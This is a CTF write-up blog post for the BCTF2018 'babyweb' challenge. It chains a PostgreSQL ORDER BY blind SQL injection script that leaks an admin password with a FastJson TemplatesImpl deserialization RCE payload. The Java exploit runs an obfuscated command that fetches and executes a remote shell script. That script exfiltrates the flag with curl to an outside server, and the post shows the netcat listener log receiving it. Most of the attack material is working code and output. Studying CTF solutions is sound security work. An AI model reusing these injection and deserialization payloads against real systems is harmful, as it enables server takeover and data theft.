« Home

BCTF2018 babyweb Writeup ctfwriteupbabywebbctf2018webpostgrefastjson

Posted by stypr on 2018-11-29

I had to write this writeup because it was one of the interesting challenges I've seen this year.

PostgreSQL order-by clause Blind SQL Injection using pg_ls_dir()

There's SQLi in parameter sort from /search. But this sort is after order by clause.

Then, I found that the server is running on postgresql by using current_database() function:

$.post("/search", {"search":"Nicle","sort":"current_database() desc,id"}, function(d){console.log(d)});

You can also know with (case when ('1 a'=1) then 1 else 1 end) because postgresql does type checks by default.

Sadly, we can't use union sql injection in PostgreSQL because union can't be triggered after order by clause. There is a possibility to trigger union but then the query should be like (select blah from some_table order by blah)union(select 'asdf'::text)

Then while testing for some cool functions in PostgreSQL, I found out that pg_ls_dir() is working, so we can now assume that the service is running with superuser privileges.

The most interesting part of this function is that when pg_ls_dir() is used with order by, the count of result is multiplied by number of files in the directory.

Now, what we need to do is to leak bytes by directory existance using pg_ls_dir() and get the password of admin.

# cat > exploit_stage1.py
import requests

dic = list("abcdefghijklmnopqrstuvwxyz0123456789_!;~.")
ans = ''
for pos in range(1,50):
    for c in dic:
        c = ord(c)
        data = {'search':'admin','sort':"pg_ls_dir(concat('/proc',substring('a',1,ascii(substring(password,%d,1))-%d))),id" % (pos,c)}
        resp = requests.post("http://47.95.235.14:9999/search",data=data).text
        if len(resp)>10000:
            ans += chr(c)
            print(ans)
            break

After running the exploit, we can successfully retrieve the admin credentials.

username: admin
password: 15676543456

With the leaked credentials we can now visit to admin page.

http://47.95.235.14:9999/admin?nickname=admin&password=15676543456.

RCE with RestfulAPI

FastJson

Interestingly, admin page loads /RestfulAPI three times to show information about the server.

It seems that the RestfulAPI is using Alibaba's FastJson module.

After searching for a while on the internet, It seems that the FastJson is vulnerable to RCE attacks.

Hence we write an exploit to trigger RCE.

Building up Exploit bytecode

# java -version
java version "1.8.0_191"
Java(TM) SE Runtime Environment (build 1.8.0_191-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.191-b12, mixed mode)

# cat > Exploit.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exploit extends AbstractTranslet {
    public Exploit() throws IOException {
        // curl -s https://harold.kim/shell.sh|sh
        Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwczovL2hhcm9sZC5raW0vc2hlbGwuc2h8c2g=}|{base64,-d}|{bash,-i}");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Exploit t = new Exploit();
    }
}

^C
# javac Exploit.java
# cat > encode.py
import base64
fin = open(r"Exploit.class", "rb")
fout = open(r"Exploit.b64", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

^C
# python encode.py
# cat Exploit.b64
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAIAAkHACEMACIAIwEAVWJhc2ggLWMge2VjaG8sWTNWeWJDQm9kSFJ3Y3pvdkwyaGhjbTlzWkM1cmFXMHZjMmhsYkd3dWMyaDhjMmc9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MACQAJQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACAAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==#

After compiling the Java code to Java class bytecodes, We use one of public payloads to trigger RCE.

There is another payload using JdbcRowSetImpl RCE, but it didn't work on this challenge properly.

AJAX Payload for Restful API

$.ajax({
  type: 'POST',
  datatype: 'json',
  url: '/RestfulAPI',
  data: JSON.stringify({
            "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAIAAkHACEMACIAIwEAVWJhc2ggLWMge2VjaG8sWTNWeWJDQm9kSFJ3Y3pvdkwyaGhjbTlzWkM1cmFXMHZjMmhsYkd3dWMyaDhjMmc9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MACQAJQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACAAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg=="],
            "_name":"a.b","_tfactory":{ },
            "_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"
  }),
  contentType: "application/json",
  success: function (data) {
    var json = JSON.parse(data);
    console.log(json);
  }
});
/* Executes curl -s https://harold.kim/shell.sh | sh */

Content of https://harold.kim/shell.sh

cat /flag > /tmp/a
curl -d "$(cat /tmp/a|base64)" -s http://150.95.144.239:8081/stypr

Leak flag result

[email protected]:~/stypr# nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)
Connection from 47.95.235.14 47330 received!
POST /stypr HTTP/1.1
Host: 150.95.144.239:8081
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

YmN0ZnthcjNfeTB1X2FfSjRWNF9IYWNLM1I/fQo=

Flag: bctf{ar3_y0u_a_J4V4_HacK3R?}